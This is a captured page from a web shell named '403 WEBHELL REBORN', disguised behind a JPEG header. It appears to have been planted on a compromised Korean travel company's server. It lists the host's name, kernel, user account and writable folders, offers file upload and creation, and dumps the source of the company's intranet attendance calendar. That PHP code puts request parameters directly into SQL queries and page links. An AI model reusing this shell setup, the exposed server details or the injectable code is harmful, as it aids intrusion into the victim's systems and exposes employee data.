ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/work_request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/work_request/schedule.html
<?
include "../include/top.html";

// 관리자목록
$admin_arr = member_fetch(" and mb_level <= 10  ");

if(!$mb_id || $TK_MEMBER['mb_id'] > 1) {
	$mb_id = $TK_MEMBER['mb_id'];
}

/***** 달력 환경설정 (시작) *****/ 

// 달력 배경 설정
$cal_bg = "/js/ajaxcalendar/cal_bg.gif"; // 요일 영문 (기본)

// 달력 글자 색상
$cal_day_color = "#464646"; // 평일
$cal_sat_color = "#0066CC"; // 토요일
$cal_sun_color = "#FF0000"; // 일요일(공휴일)
$cal_today_color = "#2C852C"; // 오늘
$cal_none_color = "#BBBBBB"; // 비활성일

// 마지막 날,요일 설정
$cal_lastday = array(1=>31,28,31,30,31,30,31,31,30,31,30,31); // 각 달의 마지막 날 지정
$yyoil = array("일","월","화","수","목","금","토"); // 요일명 지정


/***** 달력 초기화 *****/ 

// 오늘
$cal_now_yy = (int)date("Y");
$cal_now_mm = (int)date("m");
$cal_now_dd = (int)date("d");

// 파라메터
if (!$yy) $yy = (int)date("Y");
if (!$mm) $mm = (int)date("m");
$sdate = $sdate; // 달력 시작일
$edate = $edate; // 달력 종료일
$format = $format; // 출력 포멧

// 공통 파라메터
$cal_param = "&sdate={$sdate}&edate={$edate}&format={$format}";

// 윤년 계산을 통해 2월의 마지막 날 계산
if ($yy % 4 == 0 && $yy % 100 != 0 || $yy % 400 == 0) {
	$cal_lastday[2] = 29;
}

// 전해까지 평년 기준으로 날짜수 계산 및 윤년의 횟수를 더함
$cal_total = ($yy-1)*365+(int)(($yy-1)/4) - (int)(($yy-1)/100) + (int)(($yy-1)/400);

// 해당월의 1일
for ($i=1; $i<$mm; $i++) {
	$cal_total += $cal_lastday[$i]; // 전달까지의 날짜수 더함
}
$cal_total++; // 그 달의 1일
$cal_startday = $cal_total % 7; // 시작 요일을 구함 (0:일요일,...,6:토요일)

// 해당월의 마지막 날짜
$cal_endday = $cal_lastday[$mm];

// DB용 년월 (YYYY-MM);
$cur_month = $yy . "-" . str_pad($mm, 2, "0", STR_PAD_LEFT);


/***** 이전달, 다음달 *****/

if ($mm == 12) {
	$cal_ny = $yy + 1;	// 다음년
	$cal_nm = 1;		// 다음월
	$cal_py = $yy;		// 이전년
	$cal_pm = $mm - 1;	// 이전월
} elseif ($mm == 1) {
	$cal_ny = $yy;
	$cal_nm = $mm + 1;
	$cal_py = $yy - 1;
	$cal_pm = 12;
} else {
	$cal_ny = $yy;
	$cal_nm = $mm + 1;
	$cal_py = $yy;
	$cal_pm = $mm - 1;
}

// 링크
$cal_prev_href = "document.location.href = '{$PHP_SELF}?mb_id={$mb_id}&yy={$cal_py}&mm={$cal_pm}&{$cal_param}';"; // 이전달
$cal_next_href = "document.location.href ='{$PHP_SELF}?mb_id={$mb_id}&yy={$cal_ny}&mm={$cal_nm}{$cal_param}';"; // 다음달


/***** 근태기록 *****/

// 연차휴가 기록
$sql = "SELECT * from TB_MEMBER_S03 where SUBSTR(mb_date,1,7)='{$cur_month}' and mb_id='{$mb_id}'";
$rs = db_query($sql);
while($row=db_fetch_array($rs)) {

	switch ($row['gubun']) {
		case "A";
			$row['gubun_text'] = "연차휴가";	// 연차휴가 / 반차 텍스트
			$gubun_code = "F";	// F 연차휴가 / H 반차
			break;
		case "B";
			$row['gubun_text'] = "반차";
			$gubun_code = "H";
			break;
	}

	// 연차휴가 일 수 만큼 데이터 입력
	$vac_duration_time = strtotime($row['end_dt']) - strtotime($row['start_dt']);
	$vac_days = $vac_duration_time / (60*60*24) + 1; // 연차휴가 일 수

	for($i=0; $i<$vac_days; $i++){
		$vac_date = date("Y-m-d", strtotime($row['mb_date']." +{$i} days"));
		$vac_yoil = date('w', strtotime($vac_date));
		if($vac_yoil != 0 && $vac_yoil != 6){ // 주말 제외
			$working[$vac_date][$gubun_code] = $row;
		}
	}
}

// 출퇴근 기록
$sql = "SELECT * from TB_MEMBER_S01 where SUBSTR(mb_date,1,7)='{$cur_month}' and mb_id='{$mb_id}'";
$rs = db_query($sql);
while($row=db_fetch_array($rs)) {

	switch ($row['gubun']) {
		case "A";
			$gubun_code = "S";	// S 출근 / E 퇴근 코드
			$row['gubun_text'] = "출근";	// 출근 / 퇴근 텍스트
			$row['status_text'] = "";	// 기타 상태값
			break;
		case "AA";
			$row['gubun_text'] = "출근";
			$gubun_code = "S";
			$row['status_text'] = "지각";
			break;
		case "B";
			$row['gubun_text'] = "퇴근";
			$gubun_code = "E";
			$row['status_text'] = "";
			break;
		case "BB";
			$row['gubun_text'] = "퇴근";
			$gubun_code = "E";
			$row['status_text'] = "조기퇴근";
			break;
	}
	$working[$row['mb_date']][$gubun_code] = $row;
}

// 연차(반차) 수
$sql = "SELECT SUM(IF(gubun='A',1,0)) AS FULL, SUM(IF(gubun='B',1,0)) AS HALF FROM TB_MEMBER_S03 WHERE SUBSTR(mb_date,1,4) = SUBSTR(CURDATE(),1,4)  AND mb_id='{$mb_id}'";
$emp_work_holy = db_fetch($sql);
$emp_work_holy[T] = $emp_work_holy[FULL] + ($emp_work_holy[HALF] / 2);


// 휴일

$sql = "SELECT * FROM TB_HOLIDAY ORDER BY holiday_date ASC";
$rs = db_query($sql);
$holidayData = array();
$calendarHolidayData = array();
$calendayNationList = array();
while($row = db_fetch_array($rs)){
	array_push($holidayData, $row);
	$calendarHolidayData[$row['holiday_date']][$row['nation']] = $row;
	array_push($calendayNationList, $row['nation']);
}

//한국 키값제거
$calendayNationList = array_unique($calendayNationList);
$koKey = array_search( 'ko', $calendayNationList );
array_splice( $calendayNationList, $koKey, 1 );

?>
	<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title">인트라넷<span class="arrow">&gt;</span><strong>근무달력</strong></div>
		<div class="contents_detail">
			<div id="Content_box">
			<!-- 달력 테이블 -->

	<div class="calendar_wrap3 no_line">
		<!-- 년,월 이동 -->
		<div class="Big_cal_c">
			<? if ($TK_MEMBER['mb_level'] == 1) { ?>
			<div style="position:absolute; width:200px; right:200px;">
				직원 선택 : 
				<select name="mb_id" id="mb_id" hname="직원" required>
					<option value="">==선택==</option>
					<?
						for($i=0 ; $i < count($admin_arr) ; $i++){
							$arr = $admin_arr[$i];

							if($arr['del_flag'] == 'Y') continue;
					?>
					<option value="<?=$arr['mb_id']?>"   <?=($arr['mb_id']==$mb_id)?"selected":""?>><?=$arr['mb_nm']?></option>
				<?}?></select>
			</div>
			<? } ?>

			<div class="cal_label">
				<table>
					<tr>
						<td style="width:55px; background-color:#FFFCDD;" class="cal_label_box">근무일</td>
						<td style="width:20px;"></td>
						<td style="width:55px; background-color:#ffd9d9;" class="cal_label_box">휴무일</td>
						<td style="width:20px;"></td>
						<td style="width:55px; background-color:#E0FAFB;" class="cal_label_box">
							연차일수</b>
						</td>
						<td style="width:140px; text-align:center;">
							<b>지급 <?=$TK_MEMBER['emp_vacation_days']?>일 / 
							<b>잔여 <?=$TK_MEMBER['emp_vacation_days']-$emp_work_holy[T]?>일
						</td>
					</tr>
				</table>
			</div>

			<div class="cal_info" style="position:absolute; left:200px;">

			</div>
			<div class="year_wrap">
				<i class="xi-caret-up-circle xi-rotate-270" alt="이전달" title="이전달" style="cursor:pointer; font-size:26px; float:left; padding-top:3px; vertical-align:middle;" onclick="<?=$cal_prev_href?>" id="cal_pre_month"></i>
				<p class="cal_year" ><?=$yy?>년 <?=$mm?>월</p>
				<i class="xi-caret-up-circle xi-rotate-90" alt="다음달" title="다음달" style="cursor:pointer; font-size:26px; float:right; padding-top:3px; vertical-align:middle;" onclick="<?=$cal_next_href?>" id="cal_next_month"></i>
			</div>

			<div class="Top_r_btn" style="right:100px;"><a class="Tbtn red" nohref="" style="cursor:pointer;" onclick="to_dialog.iframe('schedule_write.html?SqlType=sch_ins&t_date=<?=date("Y-m-d")?>','[<?=date("Y-m-d")?>] 일정 추가','700','500',true,true,'yes');">일정추가</a></div>

			<div class="Top_r_btn"><a class="Tbtn gray1" nohref="" style="cursor:pointer;" onclick="to_dialog.iframe('../mypage/member_working.html','연차관리','830','600',true,true,'yes');">연차신청</a></div>
		<!-- //년,월 이동 -->
		</div>

		<!-- 달력 시작 -->
		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="cal_t">
		<thead>
			<tr>
				<th class="c_red">일</th>
				<th>월</th>
				<th>화</th>
				<th>수</th>
				<th>목</th>
				<th>금</th>
				<th class="c_blue">토</th>
			</tr>
		</thead>
		<?
		// $day_num 변수 초기화
		$day_num = 0;

		for ($i=1; $i<=6; $i++) { // 1주 ~ 마지막주 - 최대 6주까지 있음
			echo "<tr>\n";

			for ($j=0; $j<7; $j++) { // 요일

				if ($i == 1 && $cal_startday > 0) { // 첫주의 빈공간
					for ($k=0; $k<$cal_startday; $k++) {
						echo "<td>&nbsp;</td>\n"; // 첫주의 빈공간을 표시함
						$j++; // 빈공간 만큼 요일 증가
					}

					// 빈공간을 다 채었으므로 2주차부터는 일요일(0)부터 시작함, 
					// 이렇게 안하면 첫주에는 날짜 사이마다 빈공간 입력됨
					$cal_startday = 0;
				}

				// 일자 증가
				$day_num++;

				// 달력 배경 색상
				$cal_bgcolor = "#FFFFFF"; // 마우스 아웃
				$cal_over_bgcolor = "#EEE"; // 마우스 오버

				// 오늘 판단
				$is_today = false;
				if ($yy == $cal_now_yy && $mm == $cal_now_mm && $day_num == $cal_now_dd) {
					$is_today = true;
				}

				// 요일별 출력
				if ($j == 0) { // 일요일
					$day_color = $cal_sun_color;
				} elseif ($j == 6) { // 토요일
					$day_color = $cal_sat_color;
				} else { // 평일
					$day_color = $cal_day_color;
				}

				// 오늘 설정
				if ($is_today == true) { // 오늘
					$day_color = $cal_today_color;
					$cal_bgcolor = "#EEE";
				}

				// full_day 설정
				$full_day = date("Y-m-d", strtotime($yy . "-" . $mm . "-" . $day_num));

				// 출력 포멧 설정
				// 필요한 출력 포멧을 직접 추가하면됨 (20100419 )
				$format_day = $full_day;
				switch ($format) {
					case "1": $format_day = $format_day; break; // YYYY-MM-DD
					case "2": $format_day = str_replace("-", "", $format_day); break;	// YYYYMMDD
				}

				// 일정 데이터
				$data = array();
				$sql = "select seq,t_date,title,cont,left(right(ins_dt,8),5) as ins_tm from TB_MEMBER_SCHEDULE where t_date='{$full_day}' order by ins_dt desc ";
				$rs = db_query($sql);
				$schedule_data = db_fetch_all($rs);

				// 근무일 강조 표시
				if($working[$full_day]){
					if(isset($working[$full_day]['F'])){
						$cal_bgcolor = "#e0fafb";
					} else if(isset($working[$full_day]['H'])){
						$cal_bgcolor = "#e0fafb";
					} else {
						$cal_bgcolor = "#fffcdd";
					}
				}

				// day_event 설정
				$day_event = " onmouseover=\"this.style.backgroundColor='{$cal_over_bgcolor}'\" onmouseout=\"this.style.backgroundColor='{$cal_bgcolor}'\" ";

				// 날짜 기간 체크 (시작일)
				if ($sdate) {
					// 비활성 판단
					if ($sdate > $full_day) {
						$day_color = $cal_none_color;
						$day_event = "";
					}
				}

				// 날짜 기간 체크 (종료일)
				if ($edate) {
					if ($edate < $full_day) {
						$day_color = $cal_none_color;
						$day_event = "";
					}
				}



                // 공휴일
                $isCalendarHoliday = false;

                $idxMonth = $mm;
                $idxDay = $day_num;
                if(strlen($idxMonth) == 1){
                    $idxMonth = '0'.$idxMonth;
                }
                if(strlen($idxDay) == 1){
                    $idxDay = '0'.$idxDay;
                }

                $srchHolidayCalendarIdx = $yy.'-'.$idxMonth.'-'.$idxDay;
//                                    echo $srchHolidayCalendarIdx.'<br>';
//                                    exit;



				if(isset($calendarHolidayData[$srchHolidayCalendarIdx]['ko'])){
					$isCalendarHoliday = $calendarHolidayData[$srchHolidayCalendarIdx]['ko'];
					//p($isCalendarHoliday);
//                                        exit;
					$day_color = "red";
				}


                /*if(isset($calendarHolidayData[$srchHolidayCalendarIdx])){
                    $isCalendarHoliday = $calendarHolidayData[$srchHolidayCalendarIdx];
                    $day_color = "red";
                }*/


				// 날짜 출력
				echo "<td align='center' " . $day_event . " style='background-color:" . $cal_bgcolor . "'>";
				echo "<span style='color:" . $day_color . ";cursor:pointer;' onclick=\"to_dialog.iframe('schedule_write.html?SqlType=sch_ins&t_date={$full_day}','[{$full_day}] 일정 추가','700','500',true,true,'yes');\">";
                echo $day_num;
                echo (($isCalendarHoliday)
                        ? '<p style="float:right;font-size:11px;color:red;width:100px;position:relative;left:-100px;font-weight:normal">'.$isCalendarHoliday['holiday_name'].'</p>'
                        : ''). "</span>";



				foreach($calendayNationList as $nationName){
					if(isset($calendarHolidayData[$srchHolidayCalendarIdx][$nationName])){
						$isCalendarHoliday = $calendarHolidayData[$srchHolidayCalendarIdx][$nationName];
						//p($isCalendarHoliday);
//                                        exit;
						$day_color = $cal_sat_color;

						echo (($isCalendarHoliday)
							? '<p style="clear:both;float:left;font-size:12px;color:'.$day_color.';margin-left:28px">'.$isCalendarHoliday['holiday_name'].'</p>'
							: '');

					}
				}
                
                echo "<div class='schedule2'>";


					// 출퇴근 출력
					if($working[$full_day]){

						echo "<div class='working' style='padding:5px 0;'>";

						foreach($working[$full_day] as $key => $row) {
							echo "<i class='xi-time' style='line-height:12px; vertical-align:middle;'></i> <span style='font-weight:bold; font-size:12px;'>" . $row['gubun_text'] . "</span>";

							if($key=='S' || $key=='E'){
								echo " : " . substr($row['ins_dt'], 11);
							}
							if($key=='F' || $key=='H'){
								echo " : " . $row['reason'];
							}

							if($row['status_text']) {
								echo " (" . $row['status_text'] . ")";
							}

							echo "<br>";
						}
						echo "</div>";
					}

					// 일정 출력
					for($ii=0 ; $ii<count($schedule_data) ; $ii++)
					{
						$row = $schedule_data[$ii];
				?>
						<div class="view_content" style="cursor:pointer;" code='<?=$row['seq']?>' onclick="to_dialog.iframe('schedule_write.html?SqlType=sch_updt&seq=<?=$row['seq']?>','[<?=$row['t_date']?>] 일정 조회','700','500',true,true,'yes');"><i class='xi-calendar' style='line-height:12px; vertical-align:middle;'></i> <?=cut_str($row['title'],15,"..")?></div>
						<!--<div class="lo_right">[<?=$row['ins_tm']?>]</div> -->

					<div style='position:absolute; display:none;z-index:99999; background:#fff; border:1px solid #ccc; padding:10px; width:12%;' id="cont_<?=$row['seq']?>">
						<?=nl2br($row['cont'])?>
					</div>
				<?
					}
				echo "</div>
				</td>\n";

				if ($day_num >= $cal_endday) { // 마지막 날짜 까지만 
					for ($h=$j; $h<6; $h++) { // 마지막 날짜 다음부터는 빈공간 출력
						echo "<td>&nbsp;</td>\n"; // 마지막 날짜 다음부처 빈공간
					}
					break;
				}
			} // 요일끝

			echo "</tr>\n";

			if ($day_num >= $cal_endday) { // 마지막 날짜 까지만, 이렇게 안하면 31일이 토요일인 경우 32일도 출력됨
				break;
			}
		} // ~31 for 끝
		?>
		</table>
		<!-- //달력 끝 -->

  </div>
	<!-- //달력 테이블 -->

					</div>
				</div>
			</div>
		</div>
<script type="text/javascript">
	$(".view_content").bind({
		mouseover: function(){
			//alert($(this).attr('code'));
			$("#cont_"+$(this).attr('code')).show();
		},
		mouseleave: function(){
			$("#cont_"+$(this).attr('code')).hide();
		}
	});

	$("#mb_id").on('change', function(){
		var mb_id = $(this).val();

		document.location.href = '<?=$PHP_SELF?>?mb_id='+mb_id+'<?=$cal_param?>';
	});
</script>
<? include "../include/footer.html" ?>



Anon7 - 2021